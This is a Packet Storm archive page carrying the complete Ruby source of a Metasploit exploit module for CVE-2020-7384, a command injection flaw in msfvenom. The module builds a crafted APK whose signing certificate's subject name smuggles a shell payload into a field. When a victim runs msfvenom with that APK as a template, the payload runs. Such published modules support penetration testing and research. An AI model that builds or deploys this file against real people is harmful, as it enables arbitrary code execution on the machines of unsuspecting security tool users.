what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Rapid7 Metasploit Framework msfvenom APK Template Command Injection

Rapid7 Metasploit Framework msfvenom APK Template Command Injection
Posted Nov 10, 2020
Authored by Justin Steven | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affected includes Metasploit Framework versions 6.0.11 and below and Metasploit Pro versions 4.18.0 and below.

tags | exploit
advisories | CVE-2020-7384
SHA-256 | 47170fa2c6f60c3fc00bcf7d141f9846d5a4832fd8d4f861bb23346abf01ef02

Rapid7 Metasploit Framework msfvenom APK Template Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip/jar'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rapid7 Metasploit Framework msfvenom APK Template Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Metasploit Framework's msfvenom
payload generator when using a crafted APK file as an Android payload template. Affects
Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this
module is a relatively empty yet valid-enough APK file. To trigger the vulnerability,
the victim user should do the following:

msfvenom -p android/<...> -x <crafted_file.apk>
},
'License' => MSF_LICENSE,
'Author' =>
[
'Justin Steven' # @justinsteven
],
'References' =>
[
['URL', 'https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md'],
['CVE', '2020-7384'],
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' => {
'BadChars' => "\x22\x2c\x5c\x0a\x0d"
},
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2020-10-29'
)
)
register_options([
OptString.new('FILENAME', [true, 'The APK file name', 'msf.apk'])
])
end

def build_x509_name
name = "CN=';(#{payload.encoded}) >&- 2>&- & #"
OpenSSL::X509::Name.parse(name)
end

def generate_signing_material
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = cert.issuer = build_x509_name
cert.public_key = key.public_key
cert.not_before = Time.now
# FIXME: this will break in the year 2037 on 32-bit systems
cert.not_after = cert.not_before + 1.year
# Self-sign the certificate, otherwise the victim's keytool gets unhappy
cert.sign(key, OpenSSL::Digest::SHA256.new)

[cert, key]
end

def exploit
print_warning('Warning: bash payloads are unlikely to work') if datastore['PAYLOAD'].include?('bash')
apk = Rex::Zip::Jar.new
apk.build_manifest
cert, key = generate_signing_material
apk.sign(key, cert)
data = apk.pack
file_create(data)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close